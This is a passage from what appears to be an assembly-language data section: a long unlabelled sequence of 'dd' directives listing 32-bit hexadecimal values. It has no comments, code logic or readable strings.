0ECE3172Eh, 1F05C42Fh, 436289EAh, 433F1005h, 925D97F5h dd 0C6FC54C9h, 0A92F9FA6h, 33294B0Fh, 0D1B09FC0h, 86C8FE03h dd 7D2F6D0h, 2C013408h, 0CE8F2BD8h, 10B5B992h, 312F8026h dd 0B722C660h, 2494BD80h, 89CB20Ah, 8FADDEB9h, 0CB616FC9h dd 0E246CB4Ch, 5B0C9144h, 0A3A4672Ch, 55E90A16h, 0A2A77529h dd 7FF0A8F6h, 7F896A39h, 0DE01AEC2h, 21C782D6h, 63DFCFC2h dd 0D0E7EA9Dh, 0A0C890D7h, 2F6D7578h, 87C04563h, 20F7740Eh dd 7309A2CEh, 0D02940AEh, 840882B9h, 3001B6FEh, 30515AD0h dd 0F57E80C8h, 95B0C5E6h, 0B80E152Dh, 60EB297Ch, 1A36D85Dh dd 0E925213Bh, 97ADF837h, 0E9059B6Fh, 0D543F92Dh, 0CB6E0C63h dd 7CB3DD4Dh, 84C4992Eh, 0F859E828h, 0FCEC6443h, 0EAF988FAh dd 1033381Fh, 792DCC1Eh, 75A2E2EBh, 133C5771h, 71F7E4F3h dd 68505703h, 43902FF1h, 37EBA5E9h, 26C91715h, 0CB1843E3h dd 9A776138h, 9180FF9Ch, 683F8858h, 0CF1D490Ch, 0E667C59Dh dd 0D624BF6Bh, 86E2F3C4h, 905CB10h, 7E661A04h, 0B5AD733Eh dd 0D0B268Dh, 6D5C380h, 0AF77EAh, 4B9321F2h, 0C72C017Ch dd 95038CDCh, 1A956166h, 35E25D26h, 0B85EC325h, 555CA0BAh dd 799900BDh, 0E581016Ch, 6048748Fh, 0A340104Fh, 511BBE03h dd 0D4D23B0Bh, 7C89D849h, 12E9B02Eh, 0BAC8B731h, 662420A8h dd 617E627h, 0E77B6AD0h, 82FE4EF0h, 680183C1h, 0DA336B7Dh dd 8B448C4Eh, 0A7B2CD4Bh, 29EA2578h, 832AEA0h, 9AB83F28h dd 0CB4A5EFAh, 0C70390A4h, 0F711196Ch, 0FE4FE556h, 2CF06B52h dd 4F3BF4A9h, 9FF2B477h, 0EFB92460h, 98BE0813h, 0CDD74805h dd 0C820841h, 30441D05h, 0C92088E4h, 0BF2C2CE5h, 0BBAF0804h dd 2C8850Bh, 0DF17A37Ch, 0E9606312h, 481C124Dh, 8749430Eh dd 0A6C643FBh, 0EDB403B0h, 48E9F1B7h, 0FC289D51h, 44001A1Eh dd 28316852h, 975A4C22h, 49E0679Bh, 6627F139h, 771FF259h dd 509B16ADh, 4CD51AE9h, 0F4F1A4F7h, 25FD3B8h, 15BF68CBh dd 8D888F59h, 845D13DCh, 7003BFE0h, 0FA7CCE1Ch, 684D687Dh dd 4C5724A3h, 0D7AC3CD5h, 9A0242EFh, 5C646056h, 0E34763A0h dd 3C0BAF40h, 4064AF2h, 0ABE5C174h, 34D6CA42h, 0C1B48E3Dh dd 4B3FAE29h, 55BD062Eh, 6D255C51h, 0AE1FA0A3h, 0E2C7D66h dd 81E7D147h, 6D6BBB41h, 0B2D4401Eh, 307F9929h, 67092CB8h dd 0A0632E03h, 7631C6A7h, 0E9AC132Fh, 5C3E49EBh, 27AC454h dd 5C9B22A1h, 9164C28Ch, 39476800h, 972AE105h, 539EE5CCh dd 0B28A44FAh, 9D8CFA9Ah, 8AA44C0Eh, 0B50ECD8h, 514D192Dh dd 94E906F7h, 550299DEh, 272EC068h, 0EC0F8531h, 1F2F9E4h dd 772630E0h, 405AD189h, 0A78F19D6h, 0AB173BF7h, 0D71630F9h dd 3F43B353h, 4D3D167Dh, 0E4B0A6A8h, 0B13B447h, 6E08F709h dd 8C4D266Ch, 0EEDF264Ah, 165BDEFCh, 604D66E4h, 3FEF979Fh dd 5E5433F9h, 0BA0052F3h, 8C61B15h, 62038EB9h, 0A6A05A94h dd 0C4868E9Ah, 0FE041171h, 0DBEF80CFh, 0F4485CFCh, 9CCF484h dd 0AA50C85Dh, 68929FD9h, 7F241A77h, 31828909h, 40FC3DCh dd 40AA69C4h, 321FAFF8h, 32923151h, 344731A1h, 0BECC1D9h dd 75FD524Bh, 95C8FFB4h, 85866936h, 5E1380D5h, 95443A08h dd 0A8CDB143h, 0F1BD87ABh, 0D82D6933h, 2630CCF5h, 20C674Ah dd 619B2366h, 4E1891DFh, 80BFA13Fh, 0E7868952h, 12E105B7h dd 0F7D885Fh, 69E5BB6Ch, 80FBA163h, 0E220EF46h, 65D82941h dd 0A05185Bh, 3A182D0Ah, 523F23D1h, 10B5B6CDh, 1FDE7F13h dd 0C094ACD5h, 7CA2C4Ch, 2D4DECBDh, 2389D5E9h, 66161AE5h dd 58021B88h, 68A0D669h, 9BB71234h, 0FC599FD8h, 0C9A4505Eh dd 7679EAB5h, 0EFEB03A3h, 50B73EFEh, 7450121h, 25FACBE6h dd 42C5C92h, 0D3135DF5h, 3E224C34h, 0BBB24051h, 16BE001Ah dd 6EE1B95Dh, 313C4CB5h, 774B5CE9h, 48DB460Ah, 0AE02BC49h dd 5F138012h, 89AA9090h, 0DC6E5B3Ch, 0C58731EDh, 629718B5h dd 0D25EB921h, 0A0B5C621h, 119F6800h, 0F160AD94h, 0B02A1816h dd 0B35D4C01h, 400C0130h, 2481575h, 618C09F5h, 795C02A5h dd 97BD94DEh, 5E256851h, 5DEA620Fh, 55697D74h, 6B51C019h dd 0FDEFE640h, 0F6261980h, 0E8C44B9Bh, 0F7DEB7E2h, 62BAD3C4h dd 0A36859FFh, 85B56AE9h, 4052BE7Fh, 0A5E408EBh, 0D6B00D2Ch dd 4BAA0537h, 824A857Dh, 800077FEh, 456825CAh, 0E7443A4Bh dd 880BE8F0h, 287AF9E1h, 19B212A5h, 5CEAA4A0h, 88019BDEh dd 97E9D328h, 964E2C6Bh, 0CFBEC00h, 0B7493B30h, 0A7FE9D49h dd 5D58D013h, 0AC58B37Bh dd 20685DF0h, 2B30224Eh, 0BFA5A8Bh, 0A6CA8111h, 0E934BC00h dd 0E89770D7h, 8025D585h, 0F13F2858h, 7EBEA580h, 0D790C288h dd 3A6D98DDh, 10999DBBh, 9F45F69Ch, 0B90BFD28h, 80097429h dd 0EC34A324h, 8EE6C156h, 0F065DC58h, 7412ABE1h, 59012687h dd 6AAE4018h, 2572F884h, 0F14AC0FBh, 5C330BDCh, 806E1824h dd 33099F1Bh, 5E5A59CBh, 6C390CF9h, 4B0B7B8Ah, 7032E9B9h dd 7574A23Ah, 0CA9DA816h, 8A66022h, 273ABD94h, 0F96A08DFh dd 1922BA80h, 60BE30B8h, 0D6310B26h, 0D7BE76E9h, 0AA375127h dd 0C18511A4h, 55AA1192h, 91EEE45Ah, 8389A75Fh, 942145E0h dd 64408352h, 9A112DD6h, 0CF0FA743h, 53EB1ABCh, 10E22C8Fh dd 455618B7h, 74C12592h, 0D3C02CB2h, 0F8EBE05Ah, 0C80B229h dd 0D0F6C786h, 0FA278808h, 4CCFC5Bh, 0A1C220A3h, 4A9D041h dd 0ECA1864Eh, 9DE4D0D2h, 0B1FDE042h, 25283B86h, 9F666718h dd 9B17AEF5h, 4D1227ABh, 54ECF384h, 686656C0h, 25E95CA9h dd 0EBBDE057h, 83102B69h, 487F8FDBh, 50056636h, 834E2668h dd 0D4C4C33h, 761D2084h, 0E08D2F5Fh, 0F32DD622h, 8FFA812Eh dd 0E540D889h, 0B0A6EBAh, 1428E944h, 3F6809A2h, 0C0251BD5h dd 0B580E63h, 0A20E97Bh, 0ABC5C57Ch, 0A74A08A8h, 0EFE909B2h dd 52D4A619h, 2CB5949Ah, 125D1297h, 8B7F092Dh, 0C4897171h dd 0CC0FA8F8h, 0F81FEF0Ah, 0E509ED9Eh, 0E6B40243h, 0BAA40EC4h dd 0FB3D9065h, 939750Fh, 42F58BBDh, 17D47825h, 4D9C581h dd 0BA4D3A0Bh, 0F587BC01h, 8C40C683h, 0B93C2268h, 42D4ACA1h dd 0F70ECD12h, 0B9F84304h, 0A74B0F12h, 0FF7C99E5h, 0F508E525h dd 2ED92CD7h, 8A195A44h, 0E5E9F129h, 15902EB7h, 0BF351D23h dd 415B8691h, 7B6C4C96h, 0BA965879h, 5834BA40h, 955AE688h dd 0ACB13DCEh, 39EAEA92h, 44E62BFEh, 0D32BB84Bh, 0FCAC4921h dd 0B60F9384h, 0CD558102h, 0D4216A43h, 0AB0564F3h, 296EC59Dh dd 253129D6h, 216883DDh, 0EF40B9C8h, 2DD9E32Bh, 0A54BD1A9h dd 8949E159h, 0C9187E20h, 0E5ACE679h, 7F0EE942h, 0BF601112h dd 801CAEB4h, 0CCC357F4h, 0E7ECC0DDh, 2A04729Eh, 0F1ECAB1Dh dd 0AD4454CFh, 0C7E188FEh, 3F2A4A02h, 0DC7D2B68h, 0E00953EBh dd 10C5B6E9h, 2D01C6D4h, 0EE895591h, 3504BAD6h, 91AC4826h dd 5D1FFF3Ch, 0E4CB4158h, 83369F10h, 280CE20Ch, 0FB320475h dd 0FE0D61F6h, 4AF2784h, 16A3721h, 88ECC380h, 14111AA4h dd 0BDE9CCEh, 3B198C94h, 2064F17Fh, 5E80E561h, 0EEF0955Dh dd 0D16E9F16h, 0BFEB1600h, 0BD7EE03Ah, 0A1E973E0h, 0EF45A060h dd 9E67473h, 5ECE6828h, 0E7DC1877h, 307E8283h, 90359402h dd 85F2C00Dh, 0D25C80AEh, 2D925295h, 6C5363DCh, 75306885h dd 0BD6D64EAh, 0F8A88BD2h, 97C4F68Ah, 0E9E2C6F3h, 95EED8BFh dd 0E90A5EC7h, 74A5D3B0h, 0E889162Dh, 0FBCB5D6h, 61977A4Dh dd 7F79656Ch, 0EC81D375h, 0FF6378E2h, 4E27BB02h, 0A455145Dh dd 0A80E339h, 14837252h, 0BD4301C3h, 0B26840Dh, 46C8EB20h dd 9960D31h, 417C0501h, 103B3366h, 0EC4B07D8h, 0B9839F26h dd 0E5503BC9h, 0C870BE83h, 0FA6F2905h, 3F2DFE40h, 0B44EC004h dd 99D1CF4h, 63A45921h, 0C294C331h, 0D4A008D1h, 5EB4CD81h dd 23DDE5Ch, 0F457EFEDh, 5A8A4050h, 674C2631h, 0C5BC33B0h dd 0F9232AF0h, 5B00294Ah, 61069CCAh, 0FE2FE21h, 1C153FB4h dd 7362F28Fh, 237D68A9h, 0C2177918h, 1C08DD0Fh, 597C2507h dd 1E7F658h, 0F736E427h, 2FE6C1DEh, 59F9640Bh, 0B258965Dh dd 62A2105Bh, 5FF82100h, 0D90AD535h, 0BCB1135Bh, 0E30F233Ah dd 928E9BA2h, 0E14FD076h, 2D306283h, 56C12237h, 0E96008A1h dd 52008FA3h, 6F43ABBAh, 0D7292E1Ch, 1EDC148Ch, 2139F04h dd 7E26C21Eh, 788C2B79h, 0AE5276Bh, 2CEE371Fh, 48DC0FAAh dd 0EB017B42h, 0AEF26640h, 0EEC58980h, 4780BF7Fh, 112DD029h dd 3D692117h, 0C7E64604h, 1FB33C8Ch, 0CD92083h, 0FE18677Eh dd 7604C66Bh, 4923161h, 7D580282h, 0A42CC84Ch, 4CC0EC5Eh dd 2D4E1B43h, 88D44431h, 5692E9E2h, 0B95F0086h, 32478ADDh dd 10E817Ch, 0A431552Ch, 0CDBF87E1h, 677B411Bh, 0B8A4C361h dd 0E908400Ch, 3688366Eh, 0E9B879A8h, 69C41F4Fh, 782D22ECh dd 1E143C93h, 91E02C0h, 5455699Ah, 0BC031719h, 70074FE8h dd 0C6035DDAh, 818FEFD1h, 2E2D6DFCh, 6A243683h, 28030EC3h dd 0CA73F8F3h, 0BCE9A189h, 4DE02Ch, 815585h, 6A57B0EFh dd 0E970591Fh, 5240644Ah, 719249F8h, 32DF7DF7h, 541AE29Eh dd 0B85855F4h, 994B0717h, 0F105406Eh, 309166B4h, 58808AAAh dd 0B1F29D5Dh, 48969720h, 0D02E4C57h, 3490EB21h, 14A7F68h dd 158BBA6h, 8463BB05h, 786EA041h, 0E975370Bh, 89A9C8DEh dd 0FE67B8E1h, 79E6272Dh, 57357660h, 52BB641Dh, 317BD281h dd 320514Dh, 3CD02C20h, 449E1087h, 2CB6A799h, 0F2CE7E25h dd 0BA61C9FEh, 43F0E6CFh, 23810405h, 8401341Ch, 0E907047Dh dd 177CA29Ch, 51B42642h, 0F65B4ADFh, 0F042D299h, 0CC434668h dd 1E1C3567h, 1ED8AB10h, 0E2F64FCDh, 7CFE2040h, 0B1BD5FACh dd 998E3FE4h, 4FBA4250h, 0D205ED11h, 964017A8h, 0FA1413E0h dd 0B416015Ch, 9A6D0737h, 54626F34h, 0DBEE959Fh, 4F8EFC70h dd 4B35A4B8h, 0B0E6C214h, 0CFA45BDCh, 26149801h, 494FCD24h dd 3C5EB2CAh, 35824B3Bh, 4BCB50EDh, 0CB5AA251h, 7A2F84D7h dd 823317D3h, 0F4B743CBh, 39F58E1Fh, 0BEDDED67h, 0BA4A305Eh dd 0F36017FAh, 28ECA52h, 3AEF983Eh, 259833C2h, 0A9D30C36h dd 975DB25h, 27E29ED4h, 687B2C8Bh, 4B7856EBh, 3408DCFBh dd 628239BEh, 8976F46Ch, 5304695Dh, 0A0F6B22Bh, 5472685Ch dd 4026B708h, 4C9FB882h, 471D0EC4h, 14DE297Eh, 0E91308EAh dd 2DF680D2h, 0B72C4DF5h, 50586160h, 0B4F49E9h, 5609053Ah dd 0FD56232Eh, 9852CF17h, 4594A7E4h, 0B1DF886Ch, 0D5B0095h dd 661D5922h, 18A87498h, 0E3E0E2B4h, 0A49A2AF2h, 0D7D5F628h dd 0ED0E9B78h, 4DC53006h, 0C66008E8h, 0C766BD21h, 779E6BF2h dd 0F0FB5025h, 0AC864A1Bh, 6177C1A9h, 0B4426B73h, 0EA080071h dd 0F95A6859h, 629B4C91h, 5E4AC204h, 16463AD7h, 57CB8A88h dd 7E888731h, 0A8022714h, 461C2568h, 7A801D32h, 643A4925h dd 0FF093BB8h, 7C6F107Ch, 0ADEA08EDh, 623CBB81h, 422E5C65h dd 0DE95B21h, 0C3F91BD5h, 288B7E76h, 20C25729h, 0B30F9E53h dd 24EBD0D8h, 35BBCCE7h, 0A426F4EFh, 244A815Ah, 7CA88660h dd 784BD8A0h, 823BB124h, 932D68E9h, 142FD2AAh, 0B64BF653h dd 0A8FC103h, 2FB43B01h, 258C406h, 0E0F1E90Bh, 5F261EDFh dd 807E0028h, 5B6801C5h, 0C005434Ch, 886DB450h, 51580EE3h dd 0EB09D0B5h, 60CC8383h, 5C8A301h, 70AB6DC5h, 84EE367Fh dd 4C6E9A0Ch, 2DE99427h, 0B6B8E1Ah, 26F8D8BAh, 2753523Fh dd 0B6A684ABh, 0A07EE5C2h, 17DB89Dh, 3A3D5871h, 0D0F70706h dd 1EE49435h, 0B664F8EBh, 831F1169h, 0A05A8366h, 5EB4E914h dd 4F13CA21h, 0E9C3DBA6h, 785B730Eh, 0ABB4C6BCh, 0D92C9F29h dd 103E6421h, 277C8324h, 6B1190B9h, 47D1974Ch, 0DF82335Ch dd 0F8E7C40Dh, 37E913B8h, 0F791A808h, 9867C6F6h, 12A10598h dd 0EA5A0F4Bh, 0B84BA38Ah, 5D2884ACh, 0E52DFF14h, 0C69A65E3h dd 0C4DC6042h, 65DA85BBh, 0D7F5279Ch, 0E45E5F9h, 5D68D2AFh dd 54B657Fh, 0BB51535Ch dd 5822A082h, 344EBFB7h, 360AEAB6h, 0D42D5DDDh, 85D9764h dd 5516B4A0h, 0DFEAFEF1h, 0DDB80843h, 0A970BE56h, 0D1652D0Bh dd 0A1840FEEh, 12D3E94Eh, 5D97AA04h, 0A10D3036h, 0C4E4D455h dd 0B7287FA2h, 0D917A8E1h, 0D6EBEDCBh, 61930556h, 0FC4161B1h dd 0B26B5FFEh, 68D3C941h, 82F6C51Eh, 3DAB16E0h, 577109FCh dd 179EBF04h, 0C9AF340Fh, 0B23A96h, 4B28C421h, 0E8291580h dd 355F5D01h, 678615A5h, 49121822h, 897DB87Fh, 82FDE551h dd 58014318h, 92A8C5DDh, 3F00FEF7h, 4FE06BD3h, 0F0C24E21h dd 0C34E4398h, 87C9E340h, 0BF29101Dh, 0B952DECh, 0B52F0446h dd 5C4E0016h, 8135F114h, 94EE75E6h, 45E92809h, 3DCA7B1Eh dd 70B717A0h, 68AFB6C1h, 4F2E0C97h, 0F39EFD86h, 68415E21h dd 307E1E2Bh, 817A03CDh, 0C79E5E51h, 904B3B0h, 9F87E95Eh dd 0E3328F42h, 0D8F3CA3Bh, 0EEB12736h, 0E17C26F2h, 0F10EB62Fh dd 3AD54BD3h, 0D40AA9FAh, 4E42F2F3h, 14B762F8h, 75949710h dd 0B352D05h, 31800DF1h, 618309EAh, 0E5F5C76h, 99B360A7h dd 7986A256h, 0C4C8BD2Dh, 0B2D5CFFh, 0F8D01F9Eh, 38CEFBA7h dd 93BFFF9Eh, 0D2ED01BFh, 25D5442Eh, 81080EDCh, 8226344Ah dd 5860AEDEh, 5082DB67h, 808D7FFAh, 4C8B1C2Ah, 0F05ABAE2h dd 740A08BBh, 0F2FAE918h, 56A68BA7h, 13484B11h, 0BE96D0E2h dd 0A162D069h, 6EFDEEBCh, 833C8635h, 2655AB07h, 0D96DC72Ah dd 7B258AC6h, 6C2FCCA9h, 94C05928h, 1AB2A3F0h, 0A15FC89Fh dd 0FA2F756Eh, 5BB9C57h, 8C13BE68h, 0EE9E5261h, 2C42C752h dd 6BF427DEh, 0A55A8942h, 94C2F2C8h, 4F29DEA2h, 2980B3E5h dd 0C73DECC8h, 0A4EA17C0h, 4A985359h, 4BA1329h, 0FCFD4478h dd 6070E61Bh, 0BB9E9A5h, 38009D4Eh, 0C153FBFh, 5FE8E926h dd 415D8ABEh, 0F616ADC5h, 5221707Ah, 0B6F084A6h, 2FEE7C17h dd 0A050731Ch, 0A751EC62h, 5665B0D7h, 88B39F23h, 0A78C0CCh dd 407C4C18h, 2BE9FE0Ch, 772938E1h, 479FEBF5h, 2648F968h dd 0D32056CFh, 0E939D449h, 0FB7B9D25h, 4D183D52h, 0D1F1DD98h dd 0A437390Bh, 0E929902Dh, 177F91CBh, 7BE7BDC2h, 1DC34B5Dh dd 6CD21A2Ch, 0A8511D4Ch, 0F1272802h, 0B0360A6h, 6FE9F929h dd 29A8CE4Eh, 0C4BB2D80h, 895A010Fh, 78EAF600h, 9F315175h dd 88265DAh, 0A295FD96h, 5678B019h, 685960A9h, 11BC79CFh dd 0B40A4072h, 64F2D1Fh, 3828FCC0h, 9031AB2Ch, 0E713BD00h dd 0E99BE927h, 0F2924328h, 53502534h, 92E9C141h, 0B0C96EA3h dd 0BD9E34E0h, 22270845h, 3DEA41Dh, 0DAEA2505h, 738AA540h dd 0C645491h, 9633404h, 20735266h, 0F7247252h, 9B09C9D2h dd 13790F7Ah, 0DCF50E82h, 0B1A262EEh, 46217DCh, 60A25C67h dd 3D653C54h, 0B50BE32h, 899E4031h, 0CF6881AAh, 0C424FCA4h dd 5800772Eh, 0C3FEEBD0h, 7A54F2F5h, 0BB95B12h, 5A40BE89h dd 6D1209BFh, 0A801692Ch, 7AE4006h, 928E897Fh, 6D185F11h dd 0BD78FC38h, 5AF81594h, 0B321E04Bh, 0C5CC68EDh, 7B884C4Ah dd 5F7E610h, 205F895Dh, 77CF32E2h, 7EE9F592h, 57D65EC2h dd 30DCC189h, 9F5F6958h, 68026BE4h, 176D1ECDh, 0C5805058h dd 520206h, 1D7479C4h, 0E202BA6Fh, 31612B46h, 2D5F6EAh dd 65410D78h, 42F13A40h, 13B6384Ch, 7AECE6B8h, 0EAA02E5h dd 6DD6D6Ch, 5A0D0AABh, 4838A229h, 0DB9B1025h, 14F75619h dd 0F0D6D15Eh, 0A79A695Fh, 83E3DCF9h, 0FDEC1297h, 50AF8188h dd 5CFAA62Ch, 712D76B4h, 0B0D86555h, 0F41280A0h, 2E0D5188h dd 0BA707F65h, 0A2644840h, 0C00C0DD4h, 0F39003E3h, 4AE65D82h dd 609EC0C5h, 0C0BE4564h, 0F5B652B8h, 39B492D2h, 67A30FF7h dd 76901F8h, 6259B641h, 834B1565h, 54508425h, 2DA68CBEh dd 0A5D47395h, 566951D9h, 6468857Fh, 0D6AFD829h, 3B6E3F13h dd 51C68F8h, 0D77D9F40h, 111809D7h, 858B70EBh, 16DDD482h dd 5DE2D30h, 358844F1h, 416805D6h, 56375F73h, 0F57A2050h dd 309631Eh, 4EF2977h, 0EEF96Fh, 0C25830B9h, 0CE130176h dd 164C0DE9h, 97D77A5Bh, 295A9540h, 5953CB12h, 0E67F9AA9h dd 40D84EB0h, 0E22DCDCBh, 0DA483116h, 5C5084F3h, 0F7E65909h dd 0D344D24Ah, 0B90956B1h, 298B42F6h, 712E06CDh, 0BD0FE2D1h dd 9AF914B3h, 1FA669E7h, 51A43A84h, 7135D800h, 58D318B9h dd 0E9090D29h, 92F9681Eh, 8757278Ah, 609E380h, 984B6E35h dd 5ECD40BFh, 0A0A1519Eh, 21DCD10Ah, 225D2894h, 92F19554h dd 945FA73Ch, 20E91679h, 5BD47795h, 1F4075B2h, 0AE93E036h dd 2F59E50Ah, 0FC235E93h, 27197F22h, 2AC5F021h, 605AE99Fh dd 0D7ED64Dh, 1781B5F1h, 0D9034BDCh, 0B1F5B7Ah, 0EFA86167h dd 0CA41DCB0h, 5BCCB948h, 2D8F4F1Ch, 7B6546C0h, 454AC368h dd 40AAFC34h, 6F72D5Bh, 0D09D72B6h, 7A662006h, 0F08C70B7h dd 9DDB670Ch, 0BC9FF2E7h, 0F376B957h, 1675173Bh, 0D2F3E7F1h dd 31A1E5B8h, 0A4C22CC3h, 46B0BEF8h, 511AAE0Bh, 0DD0B72BAh dd 6867B083h, 95E6A53Ah, 3F757ECAh, 33E20757h, 21B5F7Bh dd 0E82F1BBh, 2B65C509h, 2056F82Fh, 0F64B555Eh, 0C035B2B4h dd 1C62D13h, 8B3E170Eh, 0E1F72508h, 0BDD94055h, 4EC0C654h dd 0F4EA2822h, 509917h, 414986EDh, 5DF821D0h, 640B2FCh dd 7B7D0025h, 903564FDh, 419D980Ch, 0E06A5883h, 310413C8h dd 60E96886h, 8851CF90h, 957CF0C5h, 56B9F0Fh, 0FEBDE876h dd 81B7AC48h, 8B94856h, 0E6C3407Bh, 1ED23F27h, 7DAAE913h dd 57211C49h, 7DC57492h, 5F4362h, 0F281DAF7h, 0D803A80Eh dd 0A5E2CF2Eh, 5F802768h, 24BFE5C2h, 1B2BEFF9h, 0EEA44210h dd 548E72C1h, 0A4015703h, 1AB47669h, 6731C789h, 3291E5A0h dd 5429CDBDh, 87B7A2F5h, 8E010659h, 48EA40D3h, 7AAD81BFh dd 442934C8h, 0CE238210h, 2C7DE0Bh, 0F7F6DFFBh, 6961A86Ah dd 5EBB2CF1h, 0C3B2E2B8h, 0DB1A4955h, 2E51069Ch, 7564087Eh dd 0DF3870Bh, 0F43008BFh, 3D8B0999h, 0ABAB290Bh, 0F36B06F1h dd 0C8390B0Ch, 44CF93D4h, 98BA14B7h, 174F8C4Ah, 5628A7E6h dd 3A9D6EADh, 0FD53E4A5h, 0F5F32C9Ch, 5F5EF240h, 0C2C6039h dd 16270A54h, 7182426Bh, 0A6651CC7h, 6CA24941h, 4A925FADh dd 29BA62F7h, 92BEC5BDh, 0E992B405h, 0A3BD624Eh, 7AB10928h dd 246598D1h, 5BEC4108h, 6892E1F1h, 4AACC16Ch, 57F474CDh dd 1A189501h, 0BCCB53h, 4765F469h, 8CC6E965h, 2094D9B4h dd 75980750h, 18504C66h, 14407847h, 72DF801h, 0E911A075h dd 31584EF9h, 3A061498h, 0ED9FC6B2h, 7F2602A6h, 46BD551Ch dd 10ECD7D4h, 1373B452h, 6CC307Ah, 0A95B83EEh, 8120470Eh dd 0E8F9726Fh, 7F77984Fh, 9031745Eh, 8B7A02EFh, 136A4819h dd 8990B032h, 14D73D2Ah, 0F3F20160h, 935E0840h, 2822273Bh dd 250BE09Ah, 0C0EE02BDh, 0A12C5A5Ah, 9FB214C7h, 0BC808766h dd 1D045932h, 2C68AF84h, 6DE90422h, 0B56F45E1h, 0F0B57E05h dd 5305B66Fh, 76A41874h, 82B6253Bh, 0C1AF637Dh, 312E7EB5h dd 7BC018BDh, 5B3CB2E0h, 5EDE271h, 29231D53h, 85510FBh dd 0BDDA5E38h, 581804A3h, 66C260DCh, 0A63500B2h, 2813D427h dd 63EB0568h, 79075675h, 310BE8C1h, 0A4AC364Fh, 9AF1B1h dd 1DD1F749h, 5BF98741h, 0FECE09D7h, 32B5530Bh, 0A287598Bh dd 1C844B81h, 4C5210F4h, 0A62C77E1h, 0E28E2ABDh, 77EA6688h dd 9857660Ch, 0E2BD2B97h dd 0A8357C8Bh, 887227D6h, 0ACE04F19h, 0DA03FC2Dh, 0DB6F1C4Fh dd 4789F4F4h, 69C26130h, 0CADE1051h, 0E0905051h, 96B82954h dd 5855C925h, 0E538DE71h, 0B95FC65Ch, 192B049h, 9517E12h dd 0E11EF4F5h, 0E13C6205h, 5DA72ADDh, 0C024B94Ah, 2D966851h dd 0E05B4E57h, 49167CD3h, 13BB4A8Eh, 0E52FC69h, 0C056A53Fh dd 67AA8FF7h, 4F4090F3h, 1627A65Fh, 0F440DA60h, 0B55166D0h dd 9A18F60Bh, 576459C8h, 828B372Ah, 5B5274B2h, 7A8C0C5Bh dd 0A37A567Dh, 2D561425h, 4E16E9F8h, 7B54B7BBh, 0D1E7362Dh dd 0C6EA5B8Fh, 175496DFh, 3789E3E9h, 72B983CFh, 44CACD0Eh dd 654EEF58h, 0AAFD0986h, 1A06809h, 6F091646h, 75FCB03h dd 8E93C477h, 4CE1B04Eh, 47913062h, 29354A18h, 104A0558h dd 0B24BE471h, 0A5CBDFE7h, 8BB3D5A1h, 7AF544D1h, 0A8F80534h dd 0E545D3DFh, 47603EA6h, 1274069Ch, 64EB2966h, 70A1F856h dd 1E156812h, 805896B4h, 0CB0ABE56h, 9B32B772h, 488D3902h dd 0BE4178CDh, 0C5E98541h, 5DE230BAh, 6962AC68h, 0CB6FB4Dh dd 0F44475BAh, 9D63FAE1h, 5EF1A28h, 0FFE8664Ch, 411ECB14h dd 0F2C7E08h, 9DBB4EB8h, 6ADAEC73h, 0ED093D9Ah, 7ABA5203h dd 22D0BA50h, 0E0778D9Fh, 6853D161h, 5B884B3Fh, 5C13C43Ah dd 0CC1661BFh, 0F301014Fh, 0EFA74EDDh, 0FB96DCDEh, 3794A1EDh dd 0B51EFC4Fh, 0F9058DE6h, 0DD22D468h, 91022354h, 0D862107Dh dd 0ECD56816h, 93035297h, 0A81913ACh, 0DCEBFB07h, 469A9346h dd 24315D09h, 0AB28C047h, 0E99016CEh, 0B45AF889h, 0C3755CBEh dd 23BD7CC9h, 6021232h, 3F97FC03h, 0CE518E01h, 502BE90Dh dd 49D6BD9Eh, 8102E272h, 16728BCDh, 0C60603Eh, 39A52D17h dd 75461940h, 8C71CDDAh, 0CD0CCF3h, 291E9172h, 0CA29E992h dd 16BCF77Ah, 5DF79010h, 657F463h, 0F0E34702h, 7F0F7844h dd 0C87F74C4h, 62647D27h, 89779EDh, 531360B0h, 0FB00DAB8h dd 816E452Ch, 6114DCC9h, 20F9285Eh, 6F211E6Ch, 845A3A1Ch dd 0C6C4AECCh, 3CAD8BFFh, 393E58B2h, 16C282C9h, 55FCB1E9h dd 0B3A38096h, 15BA67F8h, 981B80h, 9B05EA45h, 1366078h dd 646F058h, 0ADA377Bh, 1C7C0ED0h, 3D729AAh, 771659F3h dd 2364F3E0h, 0DDD5F65Eh, 0D290D6FDh, 0E3E06620h, 0D6B12B9Fh dd 8D4242E4h, 0F1520009h, 95AEFDFAh, 564B6850h, 49D377F7h dd 9910FECCh, 0BA804E33h, 0F7560994h, 0B7814A79h, 7FC53A6Ch dd 4ECB8A80h, 0C14B04C9h, 0FA4706E7h, 7C48D6D0h, 0EC2A40E6h dd 762E1513h, 7EA11F09h, 0F550CEBCh, 0F784B0F8h, 0A7CBEF9Ch dd 0E275C19Ah, 0A64CDDB0h, 8BD7CA2Ah, 15B0E706h, 3E9A3AD9h dd 0CD2DEB84h, 84BD356h, 0EAA0B0E0h, 0F33BF51Ch, 59DCBD01h dd 9C35033Fh, 0B219102Ah, 0D27B0D04h, 0AF86C32Ah, 0B9D9A93Fh dd 1264DD20h, 230B39F2h, 33678625h, 88C32512h, 3A3F8C61h dd 0ED816F1Fh, 8E5C0FFh, 80ACB6ECh, 4CB45F5Bh, 430496Fh dd 0BBD44D34h, 0D35881FFh, 0C57E7869h, 0E8A34461h, 3E124901h dd 894DBE6Bh, 59D6310Bh, 0EC380812h, 0F6CBCB9Dh, 58E6EA8h dd 0A3FD442Dh, 4A89AE2Bh, 4FA1BD41h, 5804E33Bh, 0B56D20BCh dd 7BBD8170h, 3BD5E90Dh, 0BEDC20D1h, 0AAD1F728h, 0FB807B40h dd 6E2AC12Ah, 0FA603FEEh, 3B284E3Ch, 541017Ch, 8B28108h dd 7B647EB6h, 0FE640AEh, 1748735h, 80E86C4Bh, 5D250CD0h dd 405A37FEh, 286F572Fh, 5C9C2BC0h, 0BC8094EAh, 3179D8D0h dd 0B5085095h, 3886FD2Ch, 97A9EB52h, 8DDC1FBBh, 3BD163A2h dd 0BBE69F04h, 0ADD7C8A9h, 11EE88F6h, 3EA04F34h, 376600BEh dd 0E68148FAh, 512F6429h, 8592024Eh, 28B075AEh, 59B3507Ah dd 84DF539Eh, 7AC01BA4h, 9F23931Bh, 0C20C49FAh, 0ACDC6CE9h dd 15A17D3h, 0C7F1B2DAh, 201BFEE9h, 0DA33790Bh, 1C584C37h dd 0B9627401h, 70F8296Eh, 3ABE7DF6h, 14FF0449h, 4A213CB0h dd 8908A9C1h, 77356249h, 0A4BF5BC5h, 83BD3A0Fh, 4F679BCEh dd 9DF6B07Eh, 5AF7EDEFh, 0BB8603B8h, 4D228E4h, 